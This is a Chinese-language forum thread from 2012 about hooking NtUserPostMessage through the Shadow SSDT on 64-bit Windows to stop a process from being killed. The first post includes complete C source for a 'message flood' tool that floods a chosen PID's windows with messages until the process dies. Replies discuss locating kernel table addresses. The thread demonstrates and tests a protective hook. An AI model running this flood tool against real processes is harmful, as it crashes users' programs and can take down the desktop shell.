Tesla.Angela 发表于 2012-2-25 20:06:47

[原创]在WIN64上的Shadow SSDT HOOK NtUserPostMessage

放个BIN给大家玩玩吧,仅支持WIN7 X64。。。还是那句话,驱动无花无壳,可以轻易放进IDA里逆。。。

测试方法:
1.运行MyDriver.exe,再运行KillProcessByPostMessage.exe,在KillProcessByPostMessage里输入MyDriver.exe的PID,发现MyDriver.exe被K掉;
2.打开DBGVIEW,再次运行MyDriver.exe,点击“加驱动”,点击HOOK,会发现DBGVIEW里慢速出现『OriNtUserPostMessage called!』;
3.在KillProcessByPostMessage里输入MyDriver.exe的PID,发现MyDriver.exe没被K掉了,DBGVIEW里快速出现『Do not fuck with me!』;
4.点击UNHOOK,在KillProcessByPostMessage里输入MyDriver.exe的PID,发现MyDriver.exe又被K掉了。。。
PS:
1.发现MyDriver.exe被K掉后即可关闭KillProcessByPostMessage.exe,因为消息洪水的速度比较慢,等彻底循环完可能要等较长的时间(代码在下面,你看了后就知道我为什么这么说了)。。。
2.偶尔情况下KillProcessByPostMessage.exe会导致explorer.exe的界面消失(桌面消失),但不会蓝屏。。。

消息洪水攻击的代码(CodeBlocks编译):
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main()
{
    DWORD pid,wpid,i,j;
    HWND hWnd;
st:
    system("cls");
    printf("Input pid: ");
    scanf("%ld",&pid);
    for(i=100;i<0xffffff;i+=2)
    {
      GetWindowThreadProcessId(i,&wpid);
      if(wpid==pid)
      {
            hWnd=i;
            for(j=0;j<0xffff;j++)
            {
                PostMessage(hWnd,j,0,0);
            }
      }
    }
    printf("OK!");
    getchar();
    getchar();
    goto st;
    return 0;
}

马大哈 发表于 2012-2-26 02:25:20

路过,帮顶顶{:soso_e113:}

wenh7788 发表于 2012-2-27 10:45:20

老大,最近新出的东西帮顶了,我要继续尝试。别怪我罗嗦真心的不蓝屏吗?你要等上1个小时至少。

Tesla.Angela 发表于 2012-2-27 12:57:24

wenh7788 发表于 2012-2-27 10:45 static/image/common/back.gif
老大,最近新出的东西帮顶了,我要继续尝试。别怪我罗嗦真心的不蓝屏吗?你要等上1个小时至少。 ...

我测试过了12小时没有蓝屏。

2012ohyeah 发表于 2012-3-21 09:39:34

{:soso_e135:}貌似可以通信了 X64下DEBUGPRINT怎么有的不输出啊???????

xmlpull 发表于 2012-3-25 20:47:54

最近努力搞HOOK。 时。 发现 好像 SSDT表 +40 = SSSDT表的地址了。


SSSDT 的 inline hook .跟SSDT的一样么。 就是 函数的地址计算不一样。

Tesla.Angela 发表于 2012-3-26 01:09:38

xmlpull 发表于 2012-3-25 20:47 static/image/common/back.gif
最近努力搞HOOK。 时。 发现 好像 SSDT表 +40 = SSSDT表的地址了。




恩,知道怎么找SSDT基址和SSDT函数的地址,SSSDT也如法炮制即可。

xmlpull 发表于 2012-3-27 14:16:17

Tesla.Angela 发表于 2012-3-26 01:09 static/image/common/back.gif
恩,知道怎么找SSDT基址和SSDT函数的地址,SSSDT也如法炮制即可。

TA 。 是如何找到 NtUserPostMessage 原型的。我在 GOOGLE 找了好久 没找到。 WRK 也没有 。

Tesla.Angela 发表于 2012-3-27 15:39:43

xmlpull 发表于 2012-3-27 14:16 static/image/common/back.gif
TA 。 是如何找到 NtUserPostMessage 原型的。我在 GOOGLE 找了好久 没找到。 WRK 也没有  ...

你去下载一份reactos的源码就行了。

xmlpull 发表于 2012-3-27 19:03:45

Tesla.Angela 发表于 2012-3-27 15:39 static/image/common/back.gif
你去下载一份reactos的源码就行了。

!!!再次被震惊。!!

这世界上 居然还有这样的东西 。!!

{:soso__6235880048239246314_3:}


刚刚看了下 reactos 社区。 有点心寒。



-。-那么伟大的一个东西 。

qwerasdf 发表于 2012-4-15 16:59:33

楼主功力很深啊,学习的

kyx114 发表于 2012-4-17 10:56:35

好东西需要学习下

Bambo 发表于 2012-5-3 10:46:47

靠,要求等级太高,新手来下不了。

yipihaoma 发表于 2012-9-5 12:34:00

怎么才能下载该站资源啊

lsj_pro 发表于 2012-9-5 13:35:17

重复了吧?

148030434 发表于 2013-1-16 14:43:47

学习中~  感谢楼主~~~

kk1025 发表于 2013-3-22 22:58:05

回復賺基分

kk1025 发表于 2013-4-7 20:40:56

好玩! 看看

q895308300 发表于 2013-11-16 03:26:02

老大,为何我点击下载或购买都提示要特定用户组才能下载此文件

daterlove 发表于 2019-3-14 18:17:46

学习学习
页: [1]
查看完整版本: [原创]在WIN64上的Shadow SSDT HOOK NtUserPostMessage